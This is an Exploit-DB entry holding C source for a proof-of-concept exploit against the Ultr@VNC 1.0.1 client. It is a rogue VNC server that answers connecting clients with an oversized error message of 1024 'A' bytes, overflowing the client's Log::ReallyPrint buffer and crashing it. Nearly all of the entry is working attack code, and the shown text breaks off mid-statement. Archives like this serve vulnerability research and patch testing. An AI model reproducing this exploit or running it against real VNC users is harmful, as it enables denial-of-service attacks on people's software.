Exploit-DB #1643
Description: Ultr@VNC 1.0.1 - 'client Log::ReallyPrint' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2006-04-04
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}

    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    5900
#define BOFSZ   1024
#define HEAD    "RFB 003.006\n"



void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peerl;
    u_int   seed;
    int     sdl,
            sd,
            len,
            on = 1,
            psz;
    u_char  buff[4096];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Ultr@VNC <= 1.0.1 client Log::ReallyPrint buffer-overflow "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    peerl.sin_addr.s_addr = INADDR_ANY;
    peerl.sin_port        = htons(PORT);
    peerl.sin_family      = AF_INET;

    printf("- bind port   %hu\n", PORT);
    sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sdl < 0) std_err();
    if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
      < 0) std_err();
    if(bind(sdl, (struct sockaddr *)&peerl, sizeof(peerl))
      < 0) std_err();
    if(listen(sdl, SOMAXCONN)
      < 0) std_err();

    psz  = sizeof(peerl);
    seed = time(NULL);

    fputs("- clients:\n", stdout);
    for(;;) {
        sd = accept(sdl, (struct sockaddr *)&peerl, &psz);
        if(sd < 0) std_err();

        printf("  %s:%hu\n",
            inet_ntoa(peerl.sin_addr), ntohs(peerl.sin_port));

        // this is only a simple PoC, so no threads and no checks
        if(send(sd, HEAD, sizeof(HEAD) - 1, 0) <= 0) goto quit;

        len = recv(sd, buff, 12, 0);            // no need to check real recv
        if(len <= 0) goto quit;

        *(u_int *)buff       = htonl(0);        // connection failed
        *(u_int *)(buff + 4) = htonl(BOFSZ);    // size of the error
        memset(buff + 8, 'A', BOFSZ);           // error
        if(send(sd, buff, 8 + BOFSZ, 0) <= 0) got